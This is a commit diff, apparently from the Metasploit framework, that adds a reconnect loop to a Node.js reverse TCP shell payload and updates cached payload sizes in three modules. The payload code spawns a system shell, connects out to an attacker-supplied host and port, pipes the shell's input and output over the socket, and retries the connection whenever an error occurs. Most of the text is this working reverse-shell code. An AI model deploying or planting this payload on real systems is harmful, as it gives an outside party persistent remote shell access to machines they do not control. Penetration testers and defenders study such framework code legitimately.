Increasing the functionality of the nodejs shell_reverse_tcp payload
parent
763720cc4a
commit
374c139d33
|
@ -56,16 +56,22 @@ module Msf::Payload::NodeJS
|
|||
util = require("util"),
|
||||
sh = cp.spawn(cmd, []);
|
||||
var client = this;
|
||||
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
|
||||
client.socket.pipe(sh.stdin);
|
||||
if (typeof util.pump === "undefined") {
|
||||
sh.stdout.pipe(client.socket);
|
||||
sh.stderr.pipe(client.socket);
|
||||
} else {
|
||||
util.pump(sh.stdout, client.socket);
|
||||
util.pump(sh.stderr, client.socket);
|
||||
}
|
||||
});
|
||||
function StagerRepeat(){
|
||||
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
|
||||
client.socket.pipe(sh.stdin);
|
||||
if (typeof util.pump === "undefined") {
|
||||
sh.stdout.pipe(client.socket);
|
||||
sh.stderr.pipe(client.socket);
|
||||
} else {
|
||||
util.pump(sh.stdout, client.socket);
|
||||
util.pump(sh.stderr, client.socket);
|
||||
}
|
||||
});
|
||||
socket.on("error", function(error) {
|
||||
StagerRepeat();
|
||||
});
|
||||
}
|
||||
StagerRepeat();
|
||||
})();
|
||||
EOS
|
||||
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 2423
|
||||
CachedSize = 2823
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::NodeJS
|
||||
|
|
|
@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 601
|
||||
CachedSize = 701
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::NodeJS
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 629
|
||||
CachedSize = 729
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::NodeJS
|
||||
|
|
Loading…
Reference in New Issue